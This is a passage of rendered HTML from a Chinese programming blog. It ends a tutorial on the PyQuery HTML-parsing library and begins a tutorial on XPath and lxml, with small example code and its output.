                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0"</span>&gt;</span>first item<span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-1"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link2.html"</span>&gt;</span>second item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0 active"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link3.html"</span>&gt;</span><span class="tag">&lt;<span class="name">span</span> <span class="attr">class</span>=<span class="string">"bold"</span>&gt;</span>third item<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-1 active"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link4.html"</span>&gt;</span>fourth item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link5.html"</span>&gt;</span>fifth item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">     <span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>编写如下程序</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> pyquery import PyQuery as pq</span><br><span class="line">doc = pq(<span class="attribute">filename</span>=<span class="string">'hello.html'</span>)</span><br><span class="line"><span class="builtin-name">print</span> doc.html()</span><br><span class="line"><span class="builtin-name">print</span> type(doc)</span><br><span class="line">li = doc(<span class="string">'li'</span>)</span><br><span class="line"><span class="builtin-name">print</span> type(li)</span><br><span class="line"><span class="builtin-name">print</span> li.text()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight livecodeserver">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">    &lt;ul&gt;</span><br><span class="line">         &lt;li class=<span class="string">"item-0"</span>&gt;<span class="keyword">first</span> <span class="keyword">item</span>&lt;/li&gt;</span><br><span class="line">         &lt;li class=<span class="string">"item-1"</span>&gt;&lt;<span class="keyword">a</span> href=<span class="string">"link2.html"</span>&gt;<span class="keyword">second</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;&lt;/li&gt;</span><br><span class="line">         &lt;li class=<span class="string">"item-0 active"</span>&gt;&lt;<span class="keyword">a</span> href=<span class="string">"link3.html"</span>&gt;&lt;span class=<span class="string">"bold"</span>&gt;<span class="keyword">third</span> <span class="keyword">item</span>&lt;/span&gt;&lt;/<span class="keyword">a</span>&gt;&lt;/li&gt;</span><br><span class="line">         &lt;li class=<span class="string">"item-1 active"</span>&gt;&lt;<span class="keyword">a</span> href=<span class="string">"link4.html"</span>&gt;<span class="keyword">fourth</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;&lt;/li&gt;</span><br><span class="line">         &lt;li class=<span class="string">"item-0"</span>&gt;&lt;<span class="keyword">a</span> href=<span class="string">"link5.html"</span>&gt;<span class="keyword">fifth</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;&lt;/li&gt;</span><br><span class="line">     &lt;/ul&gt;</span><br><span class="line"> </span><br><span class="line">&lt;class <span class="string">'pyquery.pyquery.PyQuery'</span>&gt;</span><br><span class="line">&lt;class <span class="string">'pyquery.pyquery.PyQuery'</span>&gt;</span><br><span class="line"><span class="keyword">first</span> <span class="keyword">item</span> <span class="keyword">second</span> <span class="keyword">item</span> <span class="keyword">third</span> <span class="keyword">item</span> <span class="keyword">fourth</span> <span class="keyword">item</span> <span class="keyword">fifth</span> <span class="keyword">item</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>看，回忆一下 jQuery 的语法，是不是运行结果都是一样的呢？ 在这里我们注意到了一点，PyQuery 初始化之后，返回类型是 PyQuery，利用了选择器筛选一次之后，返回结果的类型依然还是 PyQuery，这简直和 jQuery 如出一辙，不能更赞！然而想一下 BeautifulSoup 和 XPath 返回的是什么？列表！一种不能再进行二次筛选（在这里指依然利用 BeautifulSoup 或者 XPath 语法）的对象！ 然而比比 PyQuery，哦我简直太爱它了！</p>
                  <h2 id="属性操作"><a href="#属性操作" class="headerlink" title="属性操作"></a>属性操作</h2>
                  <p>你可以完全按照 jQuery 的语法来进行 PyQuery 的操作。</p>
                  <figure class="highlight perl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">from pyquery import PyQuery as pq</span><br><span class="line"></span><br><span class="line">p = p<span class="string">q('&lt;p id="hello" class="hello"&gt;&lt;/p&gt;')</span>(<span class="string">'p'</span>)</span><br><span class="line"><span class="keyword">print</span> p.attr(<span class="string">"id"</span>)</span><br><span class="line"><span class="keyword">print</span> p.attr(<span class="string">"id"</span>, <span class="string">"plop"</span>)</span><br><span class="line"><span class="keyword">print</span> p.attr(<span class="string">"id"</span>, <span class="string">"hello"</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">hello</span><br><span class="line">&lt;p <span class="attribute">id</span>=<span class="string">"plop"</span> <span class="attribute">class</span>=<span class="string">"hello"</span>/&gt;</span><br><span class="line">&lt;p <span class="attribute">id</span>=<span class="string">"hello"</span> <span class="attribute">class</span>=<span class="string">"hello"</span>/&gt;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>再来一发</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> pyquery import PyQuery as pq</span><br><span class="line"></span><br><span class="line">p = pq(<span class="string">'&lt;p id="hello" class="hello"&gt;&lt;/p&gt;'</span>)(<span class="string">'p'</span>)</span><br><span class="line"><span class="builtin-name">print</span> p.addClass(<span class="string">'beauty'</span>)</span><br><span class="line"><span class="builtin-name">print</span> p.removeClass(<span class="string">'hello'</span>)</span><br><span class="line"><span class="builtin-name">print</span> p.css(<span class="string">'font-size'</span>, <span class="string">'16px'</span>)</span><br><span class="line"><span class="builtin-name">print</span> p.css(&#123;<span class="string">'background-color'</span>: <span class="string">'yellow'</span>&#125;)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&lt;p <span class="attribute">id</span>=<span class="string">"hello"</span> <span class="attribute">class</span>=<span class="string">"hello beauty"</span>/&gt;</span><br><span class="line">&lt;p <span class="attribute">id</span>=<span class="string">"hello"</span> <span class="attribute">class</span>=<span class="string">"beauty"</span>/&gt;</span><br><span class="line">&lt;p <span class="attribute">id</span>=<span class="string">"hello"</span> <span class="attribute">class</span>=<span class="string">"beauty"</span> <span class="attribute">style</span>=<span class="string">"font-size: 16px"</span>/&gt;</span><br><span class="line">&lt;p <span class="attribute">id</span>=<span class="string">"hello"</span> <span class="attribute">class</span>=<span class="string">"beauty"</span> <span class="attribute">style</span>=<span class="string">"font-size: 16px; background-color: yellow"</span>/&gt;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>依旧是那么优雅与自信！ 在这里我们发现了，这是一连串的操作，而 p 是一直在原来的结果上变化的。 <strong>因此执行上述操作之后，p 本身也发生了变化。</strong></p>
                  <h2 id="DOM操作"><a href="#DOM操作" class="headerlink" title="DOM操作"></a>DOM操作</h2>
                  <p>同样的原汁原味的 jQuery 语法</p>
                  <figure class="highlight vbnet">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> pyquery import PyQuery <span class="keyword">as</span> pq</span><br><span class="line"></span><br><span class="line">p = pq(<span class="comment">'<span class="doctag">&lt;p id="hello" class="hello"&gt;</span><span class="doctag">&lt;/p&gt;</span>')('p')</span></span><br><span class="line">print p.append(<span class="comment">' check out <span class="doctag">&lt;a href="http://reddit.com/r/python"&gt;</span><span class="doctag">&lt;span&gt;</span>reddit<span class="doctag">&lt;/span&gt;</span><span class="doctag">&lt;/a&gt;</span>')</span></span><br><span class="line">print p.prepend(<span class="comment">'Oh yes!')</span></span><br><span class="line">d = pq(<span class="comment">'<span class="doctag">&lt;div class="wrap"&gt;</span><span class="doctag">&lt;div id="test"&gt;</span><span class="doctag">&lt;a href="http://cuiqingcai.com"&gt;</span>Germy<span class="doctag">&lt;/a&gt;</span><span class="doctag">&lt;/div&gt;</span><span class="doctag">&lt;/div&gt;</span>')</span></span><br><span class="line">p.prependTo(d(<span class="comment">'#test'))</span></span><br><span class="line">print p</span><br><span class="line">print d</span><br><span class="line">d.empty()</span><br><span class="line">print d</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">id</span>=<span class="string">"hello"</span> <span class="attr">class</span>=<span class="string">"hello"</span>&gt;</span> check out <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://reddit.com/r/python"</span>&gt;</span><span class="tag">&lt;<span class="name">span</span>&gt;</span>reddit<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">id</span>=<span class="string">"hello"</span> <span class="attr">class</span>=<span class="string">"hello"</span>&gt;</span>Oh yes! check out <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://reddit.com/r/python"</span>&gt;</span><span class="tag">&lt;<span class="name">span</span>&gt;</span>reddit<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">id</span>=<span class="string">"hello"</span> <span class="attr">class</span>=<span class="string">"hello"</span>&gt;</span>Oh yes! check out <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://reddit.com/r/python"</span>&gt;</span><span class="tag">&lt;<span class="name">span</span>&gt;</span>reddit<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">"wrap"</span>&gt;</span><span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">"test"</span>&gt;</span><span class="tag">&lt;<span class="name">p</span> <span class="attr">id</span>=<span class="string">"hello"</span> <span class="attr">class</span>=<span class="string">"hello"</span>&gt;</span>Oh yes! check out <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://reddit.com/r/python"</span>&gt;</span><span class="tag">&lt;<span class="name">span</span>&gt;</span>reddit<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://cuiqingcai.com"</span>&gt;</span>Germy<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">"wrap"</span>/&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这不需要多解释了吧。 DOM 操作也是与 jQuery 如出一辙。</p>
                  <h2 id="遍历"><a href="#遍历" class="headerlink" title="遍历"></a>遍历</h2>
                  <p>遍历用到 items 方法返回对象列表，或者用 lambda</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> pyquery import PyQuery as pq</span><br><span class="line">doc = pq(<span class="attribute">filename</span>=<span class="string">'hello.html'</span>)</span><br><span class="line">lis = doc(<span class="string">'li'</span>)</span><br><span class="line"><span class="keyword">for</span> li <span class="keyword">in</span> lis.items():</span><br><span class="line">    <span class="builtin-name">print</span> li.html()</span><br><span class="line"></span><br><span class="line"><span class="builtin-name">print</span> lis.each(lambda e: e)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight livecodeserver">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">first</span> <span class="keyword">item</span></span><br><span class="line">&lt;<span class="keyword">a</span> href=<span class="string">"link2.html"</span>&gt;<span class="keyword">second</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;</span><br><span class="line">&lt;<span class="keyword">a</span> href=<span class="string">"link3.html"</span>&gt;&lt;span class=<span class="string">"bold"</span>&gt;<span class="keyword">third</span> <span class="keyword">item</span>&lt;/span&gt;&lt;/<span class="keyword">a</span>&gt;</span><br><span class="line">&lt;<span class="keyword">a</span> href=<span class="string">"link4.html"</span>&gt;<span class="keyword">fourth</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;</span><br><span class="line">&lt;<span class="keyword">a</span> href=<span class="string">"link5.html"</span>&gt;<span class="keyword">fifth</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;</span><br><span class="line">&lt;li class=<span class="string">"item-0"</span>&gt;<span class="keyword">first</span> <span class="keyword">item</span>&lt;/li&gt;</span><br><span class="line"> &lt;li class=<span class="string">"item-1"</span>&gt;&lt;<span class="keyword">a</span> href=<span class="string">"link2.html"</span>&gt;<span class="keyword">second</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;&lt;/li&gt;</span><br><span class="line"> &lt;li class=<span class="string">"item-0 active"</span>&gt;&lt;<span class="keyword">a</span> href=<span class="string">"link3.html"</span>&gt;&lt;span class=<span class="string">"bold"</span>&gt;<span class="keyword">third</span> <span class="keyword">item</span>&lt;/span&gt;&lt;/<span class="keyword">a</span>&gt;&lt;/li&gt;</span><br><span class="line"> &lt;li class=<span class="string">"item-1 active"</span>&gt;&lt;<span class="keyword">a</span> href=<span class="string">"link4.html"</span>&gt;<span class="keyword">fourth</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;&lt;/li&gt;</span><br><span class="line"> &lt;li class=<span class="string">"item-0"</span>&gt;&lt;<span class="keyword">a</span> href=<span class="string">"link5.html"</span>&gt;<span class="keyword">fifth</span> <span class="keyword">item</span>&lt;/<span class="keyword">a</span>&gt;&lt;/li&gt;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>不过最常用的还是 items 方法</p>
                  <h2 id="网页请求"><a href="#网页请求" class="headerlink" title="网页请求"></a>网页请求</h2>
                  <p>PyQuery 本身还有网页请求功能，而且会把请求下来的网页代码转为 PyQuery 对象。</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> pyquery import PyQuery as pq</span><br><span class="line"><span class="builtin-name">print</span> pq(<span class="string">'http://cuiqingcai.com/'</span>, headers=&#123;<span class="string">'user-agent'</span>: <span class="string">'pyquery'</span>&#125;)</span><br><span class="line"><span class="builtin-name">print</span> pq(<span class="string">'http://httpbin.org/post'</span>, &#123;<span class="string">'foo'</span>: <span class="string">'bar'</span>&#125;, <span class="attribute">method</span>=<span class="string">'post'</span>, <span class="attribute">verify</span>=<span class="literal">True</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>感受一下，GET，POST，样样通。</p>
                  <h2 id="Ajax"><a href="#Ajax" class="headerlink" title="Ajax"></a>Ajax</h2>
                  <p>PyQuery 同样支持 Ajax 操作，带有 get 和 post 方法，不过不常用，一般我们不会用 PyQuery 来做网络请求，仅仅是用来解析。 <a href="https://pythonhosted.org/pyquery/ajax.html" target="_blank" rel="noopener">PyQueryAjax</a></p>
                  <h2 id="API"><a href="#API" class="headerlink" title="API"></a>API</h2>
                  <p>最后少不了的，API大放送。 <a href="https://pythonhosted.org/pyquery/api.html" target="_blank" rel="noopener">API</a> 原汁原味最全的API，都在里面了！如果你对 jQuery 语法不熟，强烈建议先学习下 jQuery，再回来看 PyQuery，你会感到异常亲切！</p>
                  <h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2>
                  <p>用完了 PyQuery，我已经深深爱上了他！ 你呢？</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-03-24 01:44:18" itemprop="dateCreated datePublished" datetime="2016-03-24T01:44:18+08:00">2016-03-24</time>
                </span>
                <span id="/2636.html" class="post-meta-item leancloud_visitors" data-flag-title="Python爬虫利器六之PyQuery的用法" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>6.2k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>6 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2621.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/2621.html" class="post-title-link" itemprop="url">Python爬虫利器三之Xpath语法与lxml库的用法</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2>
                  <p>前面我们介绍了 BeautifulSoup 的用法，这个已经是非常强大的库了，不过还有一些比较流行的解析库，例如 lxml，使用的是 Xpath 语法，同样是效率比较高的解析方法。如果大家对 BeautifulSoup 使用不太习惯的话，可以尝试下 Xpath。</p>
                  <h2 id="参考来源"><a href="#参考来源" class="headerlink" title="参考来源"></a>参考来源</h2>
                  <p>lxml用法源自 lxml python 官方文档，更多内容请直接参阅官方文档，本文对其进行翻译与整理。 <a href="http://lxml.de/index.html" target="_blank" rel="noopener">lxml</a> XPath语法参考 w3school <a href="http://www.w3school.com.cn/xpath/index.asp" target="_blank" rel="noopener">w3school</a></p>
                  <h2 id="视频资源"><a href="#视频资源" class="headerlink" title="视频资源"></a>视频资源</h2>
                  <p>如果你对 XPath 不熟悉的话，可以看下这个视频资源： <a href="https://www.imooc.com/learn/950" target="_blank" rel="noopener">web端功能自动化定位元素</a></p>
                  <h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2>
                  <figure class="highlight cmake">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">pip <span class="keyword">install</span> lxml</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>利用 pip 安装即可</p>
                  <h2 id="XPath语法"><a href="#XPath语法" class="headerlink" title="XPath语法"></a>XPath语法</h2>
                  <p>XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。XPath 是 W3C XSLT 标准的主要元素，并且 XQuery 和 XPointer 都构建于 XPath 表达之上。</p>
                  <h3 id="节点关系"><a href="#节点关系" class="headerlink" title="节点关系"></a>节点关系</h3>
                  <p>（1）父（Parent） 每个元素以及属性都有一个父。 在下面的例子中，book 元素是 title、author、year 以及 price 元素的父：</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">book</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">title</span>&gt;</span>Harry Potter<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">author</span>&gt;</span>J K. Rowling<span class="tag">&lt;/<span class="name">author</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">year</span>&gt;</span>2005<span class="tag">&lt;/<span class="name">year</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">price</span>&gt;</span>29.99<span class="tag">&lt;/<span class="name">price</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">book</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（2）子（Children） 元素节点可有零个、一个或多个子。 在下面的例子中，title、author、year 以及 price 元素都是 book 元素的子：</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">book</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">title</span>&gt;</span>Harry Potter<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">author</span>&gt;</span>J K. Rowling<span class="tag">&lt;/<span class="name">author</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">year</span>&gt;</span>2005<span class="tag">&lt;/<span class="name">year</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">price</span>&gt;</span>29.99<span class="tag">&lt;/<span class="name">price</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">book</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（3）同胞（Sibling） 拥有相同的父的节点 在下面的例子中，title、author、year 以及 price 元素都是同胞：</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">book</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">title</span>&gt;</span>Harry Potter<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">author</span>&gt;</span>J K. Rowling<span class="tag">&lt;/<span class="name">author</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">year</span>&gt;</span>2005<span class="tag">&lt;/<span class="name">year</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">price</span>&gt;</span>29.99<span class="tag">&lt;/<span class="name">price</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">book</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（4）先辈（Ancestor） 某节点的父、父的父，等等。 在下面的例子中，title 元素的先辈是 book 元素和 bookstore 元素：</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">bookstore</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">book</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">title</span>&gt;</span>Harry Potter<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">author</span>&gt;</span>J K. Rowling<span class="tag">&lt;/<span class="name">author</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">year</span>&gt;</span>2005<span class="tag">&lt;/<span class="name">year</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">price</span>&gt;</span>29.99<span class="tag">&lt;/<span class="name">price</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">book</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">bookstore</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（5）后代（Descendant） 某个节点的子，子的子，等等。 在下面的例子中，bookstore 的后代是 book、title、author、year 以及 price 元素：</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre>
                        </td>
                        <td class="code">
